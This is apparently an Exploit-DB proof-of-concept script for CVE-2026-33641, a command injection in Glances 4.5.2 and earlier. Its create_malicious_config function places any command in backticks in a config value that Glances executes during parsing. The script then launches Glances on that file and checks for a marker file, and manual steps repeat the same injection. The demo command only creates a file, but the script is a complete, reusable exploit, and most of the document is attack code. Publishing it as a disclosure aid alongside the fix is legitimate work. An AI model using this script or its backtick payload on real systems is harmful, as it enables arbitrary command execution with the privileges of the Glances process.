glances 4.5.2 – command injection
#!/usr/bin/env python3 # Exploit Title: glances 4.5.2 - command injection # Date: 2026-04-09 # Exploit Author: Stepanov Daniil # Vendor Homepage: https://github.com/nicolargo/glances # Software Link: https://github.com/nicolargo/glances # Version: 4.5.2 and below (fixed in 4.5.3) # Tested on: Kali Linux 2026.1, Ubuntu 22.04 # CVE: CVE-2026-33641 # CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) ''' Vulnerability Description: -------------------------- Glances versions prior to 4.5.3 support dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands. If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation. CVSS Score: 7.8 (HIGH) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Affected component: glances/config.py and glances/globals.py Credit: Discovered by Stepanov Daniil ''' import subprocess import os import sys import tempfile def create_malicious_config(command): """ Create a malicious Glances configuration file that executes arbitrary commands. The vulnerable Config.get_value() method scans for substrings enclosed in backticks and executes them via system_exec(), which uses subprocess.run() with shell=False but the backticks are extracted and executed. Vulnerable code in glances/config.py: -------------------------------------------------- match = self.re_pattern.findall(ret) for m in match: ret = ret.replace(m, system_exec(m[1:-1])) -------------------------------------------------- Vulnerable code in glances/globals.py: -------------------------------------------------- def system_exec(command, timeout=5): res = subprocess.run(command.split(' '), stdout=subprocess.PIPE, timeout=timeout).stdout.decode('utf-8') return res -------------------------------------------------- """ config_content = f""" [outputs] url_prefix = `{command}` """ # Create temporary configuration file config_file = tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) config_file.write(config_content) config_file.close() return config_file.name def exploit(): """ Proof of Concept: Execute arbitrary commands via Glances configuration. """ print("[+] CVE-2026-33641 - Glances Command Injection PoC") print("[+] Exploit Author: Stepanov Daniil") print() # Command to execute (create a file in /tmp as proof) test_file = "/tmp/glances_pwned" command = f"touch {test_file}" print(f"[+] Creating malicious config with command: {command}") config_path = create_malicious_config(command) print(f"[+] Config file created: {config_path}") print(f"[+] Launching Glances with malicious config...") print("[+] If vulnerable, the command will execute during config parsing") print() # Execute Glances with the malicious config # Note: Glances must be installed in the environment try: result = subprocess.run( ["glances", "-C", config_path, "--timeout", "2"], capture_output=True, text=True, timeout=5 ) except FileNotFoundError: print("[!] Error: Glances is not installed or not in PATH") print("[!] Install with: pip install glances==4.5.2") sys.exit(1) except subprocess.TimeoutExpired: pass # Glances may run indefinitely, that's fine # Check if the command was executed print("[+] Checking if command was executed...") if os.path.exists(test_file): print(f"[✓] SUCCESS! File created: {test_file}") print("[✓] Command injection confirmed!") print("[!] Vulnerability exists in this version of Glances") os.remove(test_file) else: print("[✗] File not found. Either the vulnerability is patched") print(" or the command could not be executed.") # Cleanup os.unlink(config_path) print(f"\n[+] Cleanup complete: {config_path} removed") print("\n[+] For more information, visit:") print(" https://nvd.nist.gov/vuln/detail/CVE-2026-33641") def manual_verification_guide(): """ Alternative manual verification method if Glances is not in PATH. """ print("\n" + "="*60) print("MANUAL VERIFICATION GUIDE") print("="*60) print(""" If Glances is not installed, you can verify the vulnerability by: 1. Create a file /tmp/malicious.conf with: [outputs] url_prefix = `touch /tmp/glances_pwned` 2. Run: glances -C /tmp/malicious.conf 3. Check if /tmp/glances_pwned exists """) if __name__ == "__main__": exploit() manual_verification_guide() # Additional notes for Exploit-DB: # --------------------------------- # Impact: # - Arbitrary command execution with privileges of Glances process # - Often Glances runs with elevated privileges (root/sudo) # - Can lead to complete system compromise # # Fix: # - Upgrade to Glances version 4.5.3 or higher # - The dynamic backtick execution feature was completely removed # # References: # - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7 # - https://github.com/nicolargo/glances/releases/tag/v4.5.3 |